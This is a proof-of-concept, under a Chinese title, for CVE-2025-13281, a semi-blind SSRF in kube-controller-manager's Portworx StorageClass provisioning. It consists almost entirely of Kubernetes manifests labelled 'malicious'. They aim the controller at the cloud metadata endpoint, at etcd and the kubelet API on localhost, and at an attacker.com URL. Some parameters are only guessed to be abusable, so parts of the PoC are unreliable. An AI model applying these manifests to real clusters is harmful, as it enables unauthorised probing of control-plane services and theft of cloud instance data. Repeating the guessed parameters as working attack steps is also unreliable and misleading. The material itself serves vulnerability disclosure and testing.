CVE-2025-13281 kube-controller-manager Portworx StorageClass半盲SSRF漏洞

# CVE-2025-13281 PoC - kube-controller-manager Portworx SSRF # This PoC demonstrates how an authenticated user can exploit the SSRF vulnerability # to probe internal services on the control plane host network apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: malicious-portworx provisioner: kubernetes.io/portworx-volume parameters: # Attacker-controlled endpoint to trigger SSRF # This can be changed to target internal services endpoint: "http://169.254.169.254/latest/meta-data/" # Specify internal IP to probe iscsi_target_ip: "127.0.0.1:2379" # Portworx specific parameters that may be abused px_poolid: "http://attacker.com/probe" --- # Create PVC using the malicious StorageClass apiVersion: v1 kind: PersistentVolumeClaim metadata: name: ssrf-poc-pvc namespace: default spec: accessModes: - ReadWriteOnce storageClassName: malicious-portworx resources: requests: storage: 1Gi --- # Alternative: Direct probe of etcd via iscsi_target_ip parameter # The kube-controller-manager will attempt to connect to the specified endpoint # when processing the volume provisioning request apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: etcd-probe provisioner: kubernetes.io/portworx-volume parameters: # Target etcd on localhost (typically port 2379) iscsi_target_ip: "127.0.0.1:2379" # Or target kubelet API # iscsi_target_ip: "127.0.0.1:10250" # Or target cloud metadata service endpoint: "http://169.254.169.254/latest/meta-data/instance-id" # Note: This is a simplified PoC for demonstration purposes. # Actual exploitation may require additional steps and specific cluster configurations.